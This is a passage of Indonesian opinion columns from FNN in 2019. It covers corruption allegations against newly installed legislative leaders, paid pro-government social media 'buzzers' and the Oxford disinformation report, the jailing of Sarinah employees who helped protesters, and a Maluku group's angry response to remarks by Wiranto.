telah menjadi “sandera politik” untuk mencapai tujuan yang kita semua tidak tahu ending-nya bagaimana nanti. Meski di luaran masih terjadi kontroversi terkait Revisi UU KPK, nasib mereka masih tetap di tangan KPK dan Presiden yang bakal dilantik, 20 Oktober 2019. (Selesai) ***

Rekam Jejak Pimpinan Legislatif, Diduga Terlibat Korupsi-1

Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Demokrasi reformasi telah melahirkan pucuk pemimpin negara seperti Joko Widodo dari PDIP dengan para pembela militannya, Luhut Binsar Panjaitan, Wiranto, Hendropriyono, para jenderal Orde Baru dari Golkar dan derivasinya. “Termasuk, para relawannya seperti Pemuda Pancasila dan FKPPI yang menjadi kekuatan sipil Orba,” tulis Advokat Subagyo. Juga pucuk pimpinan seperti Bambang Soesatyo dari Golkar dan La Nyalla Matalitti dari PP yang pindah-pidah partai. “Serta Puan Maharani dari PDIP. Jadi, boleh dikata ini adalah rezim persekutuan Reformasi dan Orba. Tapi warna Orba lebih dominan. Andai Widji Thukul dan Marsinah kembali hidup, mereka akan memimpin kaum tua tak berdaya seperti saya untuk melawan!” Ungkapan Advokat Senior dari Surabaya itu setidaknya bisa dianggap “mewakili” uneg-uneg rakyat kecil yang merasa tak puas dengan drama kolosal pemilihan pimpinan DPR, DPD, dan MPR. Apalagi, rekam jejak mereka sulit dihapus dalam ingatan. Terlebih lagi, beberapa media mainstream yang pernah menulis beritanya ternyata masih bisa di-searching, meski ada pula yang hilang dari tayangan berita. Para pimpinan legislatif yang baru dilantik periode 2019-2024 itu berpotensi menjadi Tersangka Korupsi. DPR RI Periode 2019-2024 Dipimpin Para Tersangka Koruptor. Puan Maharani: Kasus E-KTP; Muhaimin Iskandar: Kasus Uang di Kardus Durian; Azis Syamsuddin: Kasus Suap Dana Perimbangan Daerah; Rachmat Gobel: Kasus Korupsi Irman Gusman. Demikian meme yang beredar di grup medsos maupun WA belakangan ini. Bahkan, Ketua MPR Bambang Soesatyo yang dalam periode sebelumnya menjabat Ketua DPR pun tidak luput dari sorotan, meski sudah dibantahnya berkali-kali. Bagaimana dengan La Nyalla Mahmud Mattalitti yang terpilih menjadi Ketua DPD RI 2019-2024? La Nyalla dari daerah pemilihan Jawa Timur itu terpilih lewat voting. Sebanyak 134 dari 136 anggota DPD hadir memilih mantan Ketua KADIN Jatim ini. Ia mengalahkan pelawak Oni Suwarman, anggota DPD Dapil Jawa Barat. Bagi Oni, menjadi senator di Senayan kali ini adalah untuk kedua kalinya. Perolehan suaranya yang terbesar di seluruh Indonesia. Pada pemilihan anggota DPD RI 2014-2019, Oni meraup sebanyak 2.167.485 suara. Dalam pileg kali ini suaranya melonjak tajam dengan kenaikan 100 persen, yakni 4.132.681 suara. La Nyalla hanya memperoleh 2.267.058 suara. Memang raihan suara di dapil, bukanlah syarat untuk menjadi pimpinan DPD. Untuk sampai di posisi itu harus memiliki kapabilitas, kemampuan lobi, dan jaringan yang baik. Mungkin di sinilah “kelebihan” La Nyalla dibandingkan Oni. Rekam Digital Rekam digital news dari Ketua MPR Bambang Soesetyo dan Pimpinan DPR terkait dugaan terlibat korupsi memang sulit dihilangkan. Ketua DPR Puan Maharani, dan tiga Wakil Ketua DPR (Muhaimin Iskandar, Azis Syamsuddin, Rachmat Gobel). Tempo.co, Senin (15 Januari 2018 09:59 WIB) menulis Rekam Jejak Ketua DPR Bambang Soesatyo di Kasus-Kasus Korupsi yang dilantik sebagai Ketua DPR RI, Senin (15/1/2018), memiliki beberapa catatan tentang pemberantasan korupsi. Berikut adalah rekam jejak Bambang Soesatyo: Korupsi Simulator KemudiBeberapa kali diperiksa KPK untuk kasus korupsi simulator ujian surat izin mengemudi di Korps Lalu Lintas Polri pada 2013. Ia membantah terlibat. Menekan SaksiBersama sejumlah anggota DPR lain disebut menekan koleganya, Miryam S. Haryani, agar tidak berterus terang dalam pemeriksaan kasus korupsi kartu tanda penduduk elektronik. Bambang membantah. Pansus KPKSalah satu penggagas Panitia Angket KPK pada Mei 2017. Ia mengatakan hanya melaksanakan tugas partai. Saksi E-KTPPada 20 Desember 2017, KPK memanggilnya sebagai saksi kasus korupsi e-KTP untuk tersangka Anang Sudihardja. Bambang absen. Revisi UU KPKMendukung revisi Undang-Undang Nomor 30 Tahun 2002 tentang Komisi Pemberantasan Tindak Pidana Korupsi, yang dinilai banyak pihak memangkas beberapa kewenangan lembaga itu. “Menunjuk Bambang yang juga duduk sebagai anggota pansus angket sangat bertolak belakang dengan keinginan Golkar untuk keluar dari pansus hak angket,” kata aktivis ICW, Donal Fariz, dalam siaran pers yang diterima hukumonline, Senin (15/1/2018). Berikut tiga catatan ICW terkait Bambang Soesatyo:• Bambang Soesatyo pernah disebut oleh Miryam S. Haryani bahwa telah menekannya agar tidak mengakui pembagian uang dalam kasus e-KTP.• Kesaksian itu kemudian dicabut oleh Miryam dan menjadi cikal bakal penggunaan Hak Angket DPR untuk KPK.• Bambang Soesatyo juga beberapa kali diperiksa KPK dalam kasus korupsi simulator ujian surat izin mengemudi di Korps Lalu Lintas Polri pada 2013.Bambang yang punya kekayaan senilai Rp 62 miliar itu diduga terlibat kasus simulator SIM seperti diungkap Ketua Panitia Lelang Pengadaan Alat Uji Kemudi SIM di Korlantas Polri AKBP Teddy Kurniawan. Melansir Kompas.com, Selasa (28/05/2013, 20:46 WIB), dalam kesaksiannya di Pengadilan Tipikor Jakarta, Teddy juga menyampaikan ada empat kardus berisi uang yang diantarkannya kepada angora DPR, khususnya kelompok Banggar DPR. Teddy menyebut nama Anggota Komisi III DPR selain Nazaruddin yang juga menerima dana tersebut, yakni Bambang Soesatyo (Golkar), Aziz Syamsuddin (Golkar), Desmond J. Mahesa (Gerindra), dan Herman Heri (PDIP). Sebelumnya, Teddy dalam persidangan juga menuding Bambang hadir dalam pertemuan di sebuah restoran Jepang, di kawasan Senayan, Jakarta. Menurutnya, semua yang dituduhkan tidak memiliki dasar hukum dan ia siap memberikan penjelasan. “Itu kan bukan hal baru dan semua sudah saya bantah di hadapan penyidik saat menjadi saksi di KPK beberapa waktu yang lalu,” kata Bambang, Selasa (28/5/2013) sore. Ia mengaku tak hadir dan meminta KPK memutar CCTV di tempat pertemuan dalam sidang berikutnya. Ketua dan Wakil Ketua DPR?Seperti halnya Ketua MPR Bambang Soesetyo, Ketua DPR Puan Maharani dan Wakil Ketua DPR (Muhaimin Iskandar, Azis Syamsuddin, dan Rachmat Gobel) memiliki rekam digital terkait tindak pidana korupsi selama menjabat. Puan Maharani yang memiliki harta kekayaan Rp 363,79 miliar Berdasarkan pengumuman LHKPN pada situs https://elhkpn.kpk.go.id itu melaporkan harta kekayaannya pada 30 Maret 2019, disebut-sebut terciprat uang haram kasus e-KTP. Dalam sidang kasus e-KTP, Setya Novanto menyebut, ada uang hasil korupsi yang mengalir kepada dua politisi PDIP, yakni Puan Maharani dan Pramono Anung. Menurutnya, keduanya masing-masing mendapatkan 500.000 dollar Amerika Serikat. “Bu Puan Maharani, Ketua Fraksi PDIP, dan Pramono Anung adalah 500.000 dollar AS. Itu keterangan Made Oka,” kata Setya Novanto kepada majelis hakim saat diperiksa sebagai terdakwa, seperti dikutip Kompas.com, Jum’at (23/03/2018, 14:40 WIB). Menurut Novanto, suatu ketika pengusaha Andi Agustinus alias Andi Narogong dan Made Oka Masagung datang ke kediamannya. Oka menyampaikan, ia sudah menyerahkan uang kepada anggota DPR.“Saya tanya, 'Wah untuk siapa?'. Disebutlah tidak mengurangi rasa hormat, saya minta maaf, ada Andi untuk Puan Maharani 500.000 dan Pramono 500.000,” kata Novanto. Disebutkan, nama Pramono dan Puan diketahui tidak termasuk dalam daftar penerima aliran dana korupsi e-KTP yang disusun jaksa KPK dalam dakwaan. Keduanya juga belum pernah diperiksa sebagai saksi oleh KPK.Pramono sendiri membantah tudingan itu. Saat proyek e-KTP bergulir, ia memang menjabat Wakil Ketua DPR. Namun, jabatannya itu tidak berkaitan dengan Komisi II yang membahas proyek e-KTP. (Bersambung)***

Kerak Demokrasi Bernama Buzzer

Oleh Dimas Huda (Wartawan Senior) Jakarta, FNN - Berita demonstrasi mahasiswa dan anak-anak STM sudah redup. Namun di media sosial orang masih meributkan tentang kotornya tingkah buzzer pemerintah. Gonggongan mereka sudah dianggap merusak demokrasi. Ulah kaum bayaran yang membela habis-habisan kebijakan Jokowi itu membuat sang presiden menjadi anti-kritik. Mereka menyebarkan kabar tentang ambulans berlogo pemerintah DKI Jakarta yang berisi batu saat unjuk rasa pelajar Sekolah Menengah Atas. Mereka juga mengolok-olok Gubernur DKI Jakarta Anies Baswedan, yang mereka perangi sejak pemilihan Gubernur DKI 2017. Belakangan, polisi menyatakan kabar batu dalam ambulans itu itu tidak benar. Para buzzer juga menyebarkan agitasi bahwa KPK dikuasai kelompok agama garis keras yang mereka sebut Taliban. Mereka menyebut Novel Baswedan, penyidik yang dikenal gigih mengusut pelbagai kasus korupsi jumbo, sebagai antek khilafah. Ketika timbul dukungan kepada KPK, mereka menyerang para pendukung itu dengan memberi mereka label pendukung khilafah. Para buzzer ini menggiring opini terpilihnya Firli Bahuri sebagai Ketua KPK sebagai sosok yang akan membersihkan KPK dari Taliban. Buzzer telah menjadi kerak dalam demokrasi. Tempo menyebut para buzzer ini adalah produk gagal dari era kebebasan berpendapat. Memanfaatkan kemampuan menulis dan fanatisme pembacanya, mereka mengemas kabar bohong sedemikian rupa sehingga terlihat benar. Para buzzer itu sebagian adalah eks wartawan. Buzzer, Influencer atau Rain Maker Makna buzzer harusnya baik-baik saja. Hanya saja, sejak para penggonggong itu berulah, kelewatan membela junjungannya, buzzer berubah menjadi berkonotasi negatif. “Ih amit-amit, ada buzzer,” ujar seseorang dengan melengoskan wajahnya. Buzzer berasal dari Bahasa Unggris yang mempunyai arti lonceng, bel atau alarm. Bisa juga dibilang kentongan. Ya, alat tradisional tempo dulu yang sering digunakan untuk mengumpulkan warga pada saat ada pengumuman atau berita penting. Buzzer, influencer atau rain maker maknanya tak jauh beda. Influncer adalah orang yang mampu mempengaruhi follower, sehingga memberikan efek buzz di media sosial. Seorang buzzer bisa diartikan orang yang mempromosikan, mengiklankan dan mengkampanyekan orang, produk, dan jasa. Itu makna netralnya. Positif. Pada Pilpres kemarin masing-masing pasangan capres cawapres terindikasi “memelihara” buzzer. Walau tak sedikit juga buzzer relawan yang tidak terkait dengan jaringan buzzer bayaran. Ada yang menjadi buzzer karena sekadar ingin menunjukkan pilihannya saja. Mereka ini tak dibayar oleh siapa pun. Pilpres sudah selesai. Pemenangnya sudah jelas. Joko Widodo dan Prabowo Subianto sudah cipika-cipiki. Makan sate bersama. Prabowo juga sudah sowan ke rumah Megawati Soekarnoputri. Mereka makan nasi goreng bersama. Siapa jagoan siapa pencundang tak lagi dipersoalkan. Tapi jangan salah. Pekerjaan buzzer tak lantas habis. Mereka masih berisik. Lalu, siapa yang membiayai mereka? Indikasinya cukup terang benderang. Istana di balik mereka. Kakak Pembina Pengendali itu mereka sebut sebagai Kakak Pembina. Ada yang menyebut sang kakak itu adalah Kepala Staf Kepresidenan Moeldoko. Simpul mereka ada di mana-mana, termasuk di kepolisian. Pada saat demo mahasiswa melanda negeri ini, mereka saling berkoordinasi. Beberapa kali mereka saling “kopi darat”. Tentu saja Moeldoko membantah perihal itu. Ia tertawa saat wartawan menyebut dirinya sebagai Kakak Pembina Buzzer, "Yang mana lagi, saya belum pernah baca itu." Hanya saja, dia mengakui buzzer-buzzer tersebut dulunya adalah relawan dan pendukung fanatik. Hanya saja, menurutnya, buzzer itu tidak dalam satu komando. Tidak dalam satu kendali. “Masing-masing punya inisiatif, para buzzer tidak ingin idolanya diserang, disakiti, akhirnya bereaksi," katanya, Kamis (3/10). Moeldoko boleh saja bilang begitu. Sah-sah saja. Itu tidak salah. Buzzer yang punya akses ke Istana memang tidak banyak. Pada 24 Agustus 2017, Presiden Joko Widodo mengundang mereka dengan label pegiat medsos. Mereka dijamu makan siang oleh Presiden. Kala itu, pertemuan digelar tak lama usai kepolisian menangkap kelompok Saracen. Polisi menggambarkan Saracen sebagai kelompok yang berbahaya karena kerap menyebarkan konten hoaks di media sosial. Belakangan, Saracen tidak terbukti ada. Ada yang menduga ini kelompok bikinan saja. Nah, sebagian dari buzzer yang diundang Istana itu kini masih aktif menjadi pemukul kentongan. Mereka menggerakkan buzzer pada lapis bawah. Sebagai gambaran, “industri buzzer” politik memiliki tiga aktor utama, Mereka memiliki peran masing-masing. Aktor pertama adalah pengguna. Kedua, perantara antara user dan buzzer. Posisi ini biasanya digawangi agensi. Di tingkatan paling bawah adalah buzzer. Lazimnya buzzer bekerja secara individu bisa pula berkelompok di bawah kepemimpinan koordinator. Ketika sudah menjadi buzzer, mereka akan berada dalam satu grup obrolan. Di sini, peran masing-masing diatur. Segala materi dibagikan. Suplai bahan dari pemerintah. Setelah itu buzz … bahan-bahan yang sudah diolah itu diposting ke medsos. Para penggonggong punya hubungan kuat dengan penguasa dan aparat negara. Mereka bisa dengan mudah mendapatkan profil pihak yang dianggap sebagai lawan, seperti kartu tanda penduduk, nomor telepon, bahkan jenis telepon seluler yang digunakan. Dukungan pemerintah kepada buzzer pun terlihat dengan pemberangusan akun-akun yang punya sikap berbeda, yang dituding menyebarkan kabar bohong. Kolaborasi para buzzer dengan aparat negara ini pada akhirnya memperkuat kartel kekuasaan yang memberangus kebebasan berpendapat dan berbicara. Akun Palsu Pengerahan buzzer oleh pemerintah Indonesia itu sempat diulas dua ilmuwan Oxford, Samantha Bradshaw dan Philip N Howard. Laporan itu bertajuk The Global Disinformation Order, 2019 Global Inventory of Organised Social Media Manipulation. Keduanya membeberkan bahwa pemerintah menggunakan buzzer untuk menyebarkan propaganda pro pemerintah dan menyebarkan informasi untuk memecah-belah publik. Pemerintah dan partai-partai politik juga memanfaatkan pihak swasta atau kontraktor serta politikus untuk menyebarkan propaganda serta pesan-pesannya di media sosial. Alat yang digunakan adalah akun-akun palsu yang dioperasikan oleh orang-orang dan oleh bot. Berdasarkan isinya, konten-konten yang disebarkan oleh pemerintah dan partai politik di Indonesia terdiri dari dua jenis: informasi yang menyesatkan media atau publik dan yang kedua, memperkuat pesan dengan terus-menerus membanjiri media sosial dengan tagar. Para buzzer, menurut penelitian itu, dikontrak oleh pemerintah atau partai politik tidak secara permanen. Mereka lazimnya dibayar di kisaran harga Rp1 juta sampai Rp50 juta. Para buzzer ini bergerak di tiga media sosial utama, Facebook, Twitter, Instagram, serta di aplikasi pesan WhatsApp. Sementara itu, Peneliti Center for Innovation Policy and Governance (CIPG), Rinaldi Camil, menyebut pendapatan buzzer politik di media-media sosial bisa setara upah minimum regional (UMR). “Buzzer di wilayah DKI Jakarta dapat menerima upah hingga Rp3,9 juta per bulan dengan jam kerja delapan hingga sepuluh jam sehari,” ujarnya seperti dikutip Antara, Maret lalu. Seorang koordinator buzzer, dapat mengantongi Rp6 juta per bulan. Buzzer yang direkrut pemerintah tentu saja dibayar dengan menggunakan APBN atau sumber-sumber lain yang tidak jelas. Hanya saja, untuk membuktikan itu bukan pekerjaan mudah. Pastinya, daya rusak para buzzer ini sungguh dahsyat. End

Selamat Datang di Negeri Para Buzzer

Oleh Hersubeno Arief Jakarta, FNN - Oxford Internet Institute baru saja mempublikasikan sebuah penelitian yang sangat menarik. Karya dua orang peneliti Samantha Bradshaw dan Philip N Howard dari Universitas Oxford, Inggris Judulnya : The Global Disinformation Order: 2019 Global Information of Organized Social Media Manipulation. Publikasi setebal 26 halaman itu berisi hasil penelitian manipulasi media sosial secara terorganisir di seluruh dunia. Sebagian besar digunakan untuk kepentingan domestik, menekan dan mendiskreditkan kelompok oposisi. Namun sejumlah negara termasuk Cina, Rusia, Iran, India, Pakistan, Arab Saudi, dan Venezuela menggunakannya untuk mempengaruhi opini di negara lain. Pada tahun 2019 ada 70 negara, termasuk Indonesia yang melakukannya. Jumlah tersebut meningkat tinggi dibandingkan tahun 2018 terjadi di 48 negara. Pada tahun 2017 hanya terjadi di 28 negara. Aktornya terdiri dari lembaga-lembaga resmi pemerintah, partai politik, elit partai, dan kontraktor swasta. Twitter dan facebook merupakan platform yang paling banyak digunakan untuk propaganda dan manipulasi komputasi, begitu dua orang peneliti Oxford ini menyebutnya. Dibeberapa negara seperti Brazil, India dan Nigeria platform WhatsApp mulai banyak digunakan. Diperkirakan beberapa tahun ke depan WA akan menjadi platform medsos yang penting. WA banyak digunakan untuk kepentingan komunikasi politik. China semula hanya memanfaatkan platform domestik seperti Weibo, WeChat, dan QQ. Bersamaan dengan munculnya gerakan protes di Hongkong (2019), secara agresif mulai menggunakan Facebook, Twitter, dan YouTube. Pemerintah China menggunakan platform global itu untuk menggambarkan pelaku protes Hongkong sebagai kelompok radikal dan tidak mendapat dukungan rakyat (Lee Myers dan Mozur 2019). Pelaku propaganda dan manipulasi komputasi ini adalah pasukan dunia maya (cyber troop) yang kita kenal sebagai buzzer. Mereka adalah orang atau organisasi/ kelompok bayaran. Jumlah bayaran alias anggaran untuk cyber troops bervariasi. Namun secara bisnis sangat menjanjikan. Biayanya bisa mencapai jutaan dolar seperti pada kasus perusahaan Cambridge Analytica yang membobol puluhan juta akun facebook saat Pilpres AS 2016. (Bradshaw dan Howard 2017a) mendefinisikan cyber troops sebagai aktor pemerintah atau partai politik yang bertugas memanipulasi opini publik secara online. Mereka ada yang menggunakan akun nyata (human) robot (bots), akun bajakan, dan cyborg. Perpaduan akun otomatisasi dengan kurasi manusia. Tugas mereka selain melakukan propaganda, memperkuat pidato kebencian, manipulasi, pengambilan data secara ilegal, memecah belah lawan politik, dan penargetan mikro untuk menggertak dan melecehkan para pembangkang politik dan jurnalis online. Pasukan dunia maya secara aktif membuat konten seperti meme, video, situs berita palsu atau media yang dimanipulasi untuk menyesatkan pengguna. Terkadang, konten yang dibuat oleh pasukan cyber ditargetkan pada komunitas atau segmen pengguna tertentu. Dengan menggunakan sumber data online dan offline tentang pengguna, dan membayar untuk iklan di platform media sosial populer, beberapa pasukan cyber menargetkan komunitas tertentu dengan disinformasi atau media yang dimanipulasi. Bradshaw dan Howard membandingkan perilaku, pengeluaran, alat, dan sumber daya pasukan yang digunakan, membagi kapasitas pasukan cyber di 70 negara dalam 4 kelompok. Minimal cyber troop teams. Kapasitas pasukan maya yang rendah melibatkan tim kecil yang mungkin aktif selama pemilihan atau referendum tetapi menghentikan kegiatan sampai yang berikutnya. (2) Low cyber troop capacity. Tim berkapasitas rendah cenderung bereksperimen dengan hanya beberapa strategi, seperti menggunakan bot untuk memperkuat disinformasi. Tim-tim ini beroperasi di dalam negeri, tanpa operasi di luar negeri. Indonesia termasuk dalam kelompok ini, (3) Medium cyber troop capacity. Melibatkan tim yang memiliki bentuk dan strategi yang jauh lebih konsisten, melibatkan anggota staf penuh waktu yang dipekerjakan sepanjang tahun untuk mengendalikan ruang informasi. Tim berkapasitas menengah ini sering berkoordinasi dengan berbagai jenis aktor, dan bereksperimen dengan berbagai alat dan strategi untuk manipulasi media sosial. Beberapa tim berkapasitas sedang melakukan operasi pengaruh di luar negeri. (4) High cyber troop capacity. Melibatkan sejumlah besar staf, dan pengeluaran anggaran besar untuk operasi psikologis atau perang informasi. Mungkin juga ada dana yang signifikan dihabiskan untuk penelitian dan pengembangan, serta bukti banyak teknik yang digunakan. Tim-tim ini tidak hanya beroperasi selama pemilihan tetapi melibatkan staf penuh waktu yang didedikasikan untuk membentuk ruang informasi. Tim pasukan cyber berkapasitas tinggi fokus pada operasi asing dan domestik. Tim berkapasitas tinggi meliputi: Cina, Mesir, Iran, Israel, Myanmar, Rusia, Arab Saudi, Suriah, Uni Emirat Arab, Venezuela, Vietnam, dan Amerika Serikat. Dimulai pada Pilkada DKI 2012 Di Indonesia penggunaan pasukan dunia maya ini jejaknya mulai terendus pada Pilkada DKI 2012 saat Jokowi dan Ahok menjadi kandidat. Inilah awal munculnya buzzer secara terorganisir di Indonesia.Mereka membentuk Jokowi Ahok Social Media Volunteer (Jasmev) dipimpin oleh Kartika Djoemadi. Figur ini kemudian diangkat menjadi komisaris di PT Danareksa. Pasukan cyber ini juga terlibat aktif mendukung Jokowi pada Pilpres 2014, dan Pilkada DKI 2017. Laman berita Inggris The Guardian edisi 23 Juli 2018 pernah menurunkan berita seputar pekerjaan para buzzer Ahok berjudul : I felt disgusted': inside Indonesia's fake Twitter account factories. Laporan investigasi wartawati Kate Lamb itu menurunkan pengakuan seorang buzzer yang hanya disebut dengan nama Alex. Dia mengaku mengoperasikan akun-akun palsu. Kebanyakan menggunakan avatar wanita cantik yang dicomot dari internet. Alex diberi tahu bahwa tugasnya adalah berperang dengan menggunakan berbagai cara, termasuk hoax, dan adu domba. "Ketika Anda berperang, Anda menggunakan apa pun yang tersedia untuk menyerang lawan," kata Alex. ”Tetapi kadang-kadang saya merasa jijik dengan diri saya sendiri." Setiap anggota Buzzer ujar Alex, diwajibkan memiliki 5 akun facebook, 5 akun twitter, dan 1 akun Instagram. Jumlah buzzer ini semakin membesar pada Pilpres 2019. Tugas mereka seperti belakangan banyak disoroti adalah menyebar disinformasi, adu domba, memecah belah publik, menghajar dan mengintimidasi lawan Jokowi. Pada Pilpres 2019 mereka sukses menyebarkan isu bahwa Prabowo-Sandi didukung oleh kelompok Islam radikal. Bila terpilih Prabowo akan mendirikan khilafah dan menegakkan syariat Islam. Isu itu kembali mereka hembuskan untuk menggembosi aksi mahasiswa 2019. Namun gagal. Tempo dalam edisi 28 September menyoroti dengan keras keberadaan para buzzer pemerintah yang disebut sebagai para pendengung. Dengan judul : SAATNYA MENERTIBKAN BUZZER, Tempo mengingatkan Jokowi harus mengendalikan pendengungnya, yang makin lama makin ngawur. Berpotensi merusak demokrasi. “Tingkah buzzer pendukung Presiden Joko Widodo makin lama makin membahayakan demokrasi di negeri ini. Berbagai kabar bohong mereka sebarkan dan gaungkan di media sosial untuk mempengaruhi opini dan sikap publik. Para pendengung menjadi bagian dari kepentingan politik jangka pendek: mengamankan kebijakan pemerintah,” tulis Tempo. Kasus terbaru yang banyak disoroti oleh media adalah ulah buzzer pemerintah yang menuding mobil ambulans milik Pemprov DKI dan PMI menjadi penyuplai batu dan bensin bagi para pengunjukrasa. Pemerintah termasuk polisi terkesan sangat melindungi mereka. Beberapa orang diantaranya berkali-kali dilaporkan ke polisi. Baik atas dasar pencemaran nama baik, fitnah, maupun kabar bohong. Namun semuanya tidak diproses. Kasus terbaru adalah Denny Siregar buzzer top pemerintah yang diadukan karena unggahannya soal mobil ambulans penyuplai batu. Namun laporan pengaduan itu ditolak polisi. Kepala Staf Presiden Moeldoko mengaku sudah pernah bertemu sejumlah figur buzzer yang berpengaruh, dan setuju untuk ditertibkan. Namun dia berkelit sulit mengendalikannya. Mereka tidak dalam satu komando. Tidak dalam satu kendali. Alasan yang tidak masuk akal. Jelas ada hubungan yang saling membutuhkan antara para buzzer dan penguasa. Hubungan yang saling menguntungkan. Para buzzer mendapat keuntungan finansial, dan perlindungan. Pemerintah mendapat keuntungan politik. Para buzzer siap menggonggong, menyalak, mengejar, dan menghajar siapapun yang dianggap merugikan penguasa. Benar seperti dikutip dalam kesimpulan penelitian Bradshow dan Howard. Penggunaan teknologi informasi yang salah, menjadi tantangan dan keprihatinan tersendiri bagi masa depan demokrasi. Indonesia saat ini memasuki masa-masa yang sangat berbahaya. Dalam era post truth, masyarakat terbelah dalam dua kelompok besar. Tidak ada satupun yang dipercaya, termasuk pemerintah. Indonesia saat ini menjadi sorga para buzzer, khususnya pendukung penguasa. Sampai kapan pemerintah akan terus memelihara dan melindungi para buzzer. Membiarkan mereka merusak demokrasi? End

Keterlaluan: Membantu Orang Terjepit Dihukum Penjara

Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - Ada kabar yang sangat memprihatinkan. Luput dari pemberitaan besar karena rangkaian unjuk rasa belum lama ini. Peristiwa itu terjadi pada 19 September 2019. Tak sesuai dengan akal sehat. Orang yang menolong orang lain yang sedang terjepit, dihukum penjara. Itulah yang dialami oleh 29 karyawan Sarinah, Jakarta, yang dinyatakan bersalah hanya karena membolehkan para pendemo masuk ke gedung Sarinah ketika berlangsung aksi 21-22 Mei 2019. Pengadilan di Jakarta menyatakan mereka bersalah membantu orang-orang yang melakukan perlawanan terhadap aparat negara. Para pengunjuk rasa masuk ke gedung itu sekadar untuk membasuh muka mereka. Mungkin juga sekadar melepas dahaga. Tapi, bagi penguasa, sikap alami yang ditunjukkan oleh para karyawan Sarinah itu dipelintir menjadi perbuatan pidana. Mereka didakwa membantu para pendemo melawan aparat. Sikap spontan memberikan bantuan itu dihukum penjara 4 bulan 3 hari. Bahkan, hampir saja dihukum 8 bulan. Logika penguasa adalah bahwa dengan masuk ke Sarinah dan mendapatkan air, maka para pendemo kembali segar untuk turun ke jalan. Luar biasa sekali. Entah dari mana pemikiran seperti ini diadopsi oleh para penegak hukum. Jelas sekali logika penguasa dan citarasa keadilan penegak hukum mengalami “gangguan serius”. Para pengunjuk rasa jelas bukan teroris. Mereka turun ke jalan karena merasa ketidakadilan merajalela di negeri ini. Mereka bukanlah ancaman bagi aparat keamanan. Para pendemo yang dibantu oleh 29 karyawan Sarinah itu bukanlah orang yang sedang melancarkan gerakan untuk menghancukan negara dan pemerintah. Mereka bukan pelaku makar. Seterusnya, para karyawan Sarinah itu bukanlah orang-orang yang telah lebih dulu mempersiapkan diri untuk membantu para pengunjuk rasa agar mereka bisa lebih anarkis lagi. Mereka hanya bereaksi spontan. Para karyawan itu hanya membaca fakta yang polos. Bahwa pada saat itu sedang terjadi perseteruan antara aparat negara yang kuat dengan peralatan lengkap versus pendemo tangan kosong. Hanya memberikan air yang mereka lakukan. Sama seperti para petugas yang memberikan pertolongan kepada siapa pun juga tanpa melihat latarbelakang politik mereka. Hanya berupa bantuan kemanusiaan. Ternyata, kehancuran akal sehat para penguasa memang sudah lebur total. Tak bisa dikenali lagi. Tidak ada lagi pertanda akal sehat itu ada. Sabarlah kalian wahai para karyawan Sarinah. Kalian dipaksa menjadi terpidana karena perbuatan mulia Anda. Kalian pasti sudah selalu dengar bahwa akan ada suatu zaman yang semua serba terbalik. Yang benar dikatakan salah, yang salah dikatakan benar. Orang yang amanah tak diberi kepercayaan. Sebaliknya, para penipu diberi mandat.[] 04 Oktober 2019

Wiranto Pancing Maluku Merdeka!

Oleh Mochamad Toha (Warrtawan Senior) Jakarta, FNN - Pernyataan Menko Polhukam Wiranto agar para pengungsi korban bencana gempa di Ambon dan sekitarnya, kembali ke rumah supaya tidak menjadi beban Pemerintah, telah melukai hati masyarakat Maluku. Mereka minta dihapus dari NKRI. Menurut mereka, kalau gempa Maluku dianggap membebani keuangan negara, Maluku minta dihapus dari NKRI. Demikian pernyataan sikap Badan Pengurus Pusat Kerukunan Keluarga Besar Masyarakat Maluku (KKBMM), Selasa (1/10/2019). “Para Pejabat Negara sudah tidak menganggap kami yang di Maluku sebagai bagian dari NKRI, maka adalah lebih baik apabila Bapak menghapus pulau-pulau Maluku dari Peta Indonesia,” tegas pernyataan tersebut yang beredar di media. “Kalau perlu keluarkan kami Maluku dari NKRI agar Negara tidak perlu mengeluarkan Anggaran sebagai cermin beban Negara terhadap orang-orang Maluku,” tulis pernyataan yang diteken Dr. (Cand.) Djamaludin Koedoeboen, SH., MH (Ketua) dan Ir. Semmy Miltov Luhukay, MM (Sekjen) KKBMM) itu. Berikut selengkapnya… Pernyataan Sikap Menyikapi pernyataan Bpk. Wiranto, Selaku Menko Polhukam RI, yang pada pokoknya menyatakan agar para pengungsi korban bencana gempa di Ambon dan sekitarnya, kembali ke rumah agar tidak menjadi beban Pemerintah, maka kami, Badan Pengurus Pusat — Kerukunan Keluarga Besar Masyarakat Maluku (KKBMM) menyampaikan Pernyataan Sikap: 1. Bahwa pernyataan Menko Polhukam RI tersebut tidak mencerminkan sebagai Pejabat Negara dan seorang Pembantu Presiden, 2. Bahwa hal ini bukan hanya soal gempa, tetapi dalam banyak hal, Negara kerap tidak Hadir bersentuhan dengan kami yang di Maluku, kami sudah sering dikecewakan, sebagai contoh paling nyata ketika terjadi kerusuhan 20 thn silam, Bpk Wiranto selaku Panglima ABRI telah gagal mengemban tugas, paling tidak mencegah warga negara berseteru, 3. Bahwa sebaliknya ketika seperti sekarang ini rnasih terjadi rentetan gempa maka ada hikmah tersendiri dimana orang-orang beda agama yang dulu pernah berkonflik, sekarang saling sambut, saling tolong, penuh haru, kasih, dan sayang, yang semestinya tidak Bpk cederai dan lecehkan, 4. Bahwa pernyataan Bpk ini tidak hanya menghina kami, yang dikesankan merepotkan Negara, karena kami yang sedang tertimpa masalah telah menjadi biang masalah, 5. Bahwa para Pejabat Negara sudah tidak menganggap kami yang di Maluku sebagai bagian dari NKRI, maka adalah lebih baik apabila Bpk menghapus pulau-pulau Maluku dari Peta Indonesia, kalau perlu keluarkan kami Maluku dari NKRI agar Negara tidak perlu mengeluarkan Anggaran sebagai cermin beban Negara terhadap orang-orang Maluku. Demikian Pernyataan Sikap ini kami sampaikan guna mendapat respon dari pihak Pemerintah cq Kemenko Polhukam Rl. Jakarta, 1 Okt. 2019 Hormat kami, Badan Pengurus Pusat KKBMM Dr. (Cand.) Djamaludin Koedoeboen, SH., MH (Ketua) Ir. Semmy Miltov Luhukay, MM (Sekjen) Pernyataan Wiranto tersebut jelas bisa memancing Maluku Merdeka. Ini tampak dari surat pernyataan yang dibuat Badan Pengurus Pusat KKBMM itu. Ancaman ini jangan dianggap main-main, tapi serius! Jangan sampai Maluku lepas dari NKRI. Jika lepas, Wiranto bisa disebut sebagai penyebabnya. Mestinya Wiranto mengambil hikmah dan pelajaran dari lepasnya Timor Timur dulu. Karena, saat itu Wiranto menjadi Panglima ABRI yang dituding telah melakukan pelanggaran HAM. Berbagai peristiwa kerusuhan di Timtim itulah yang 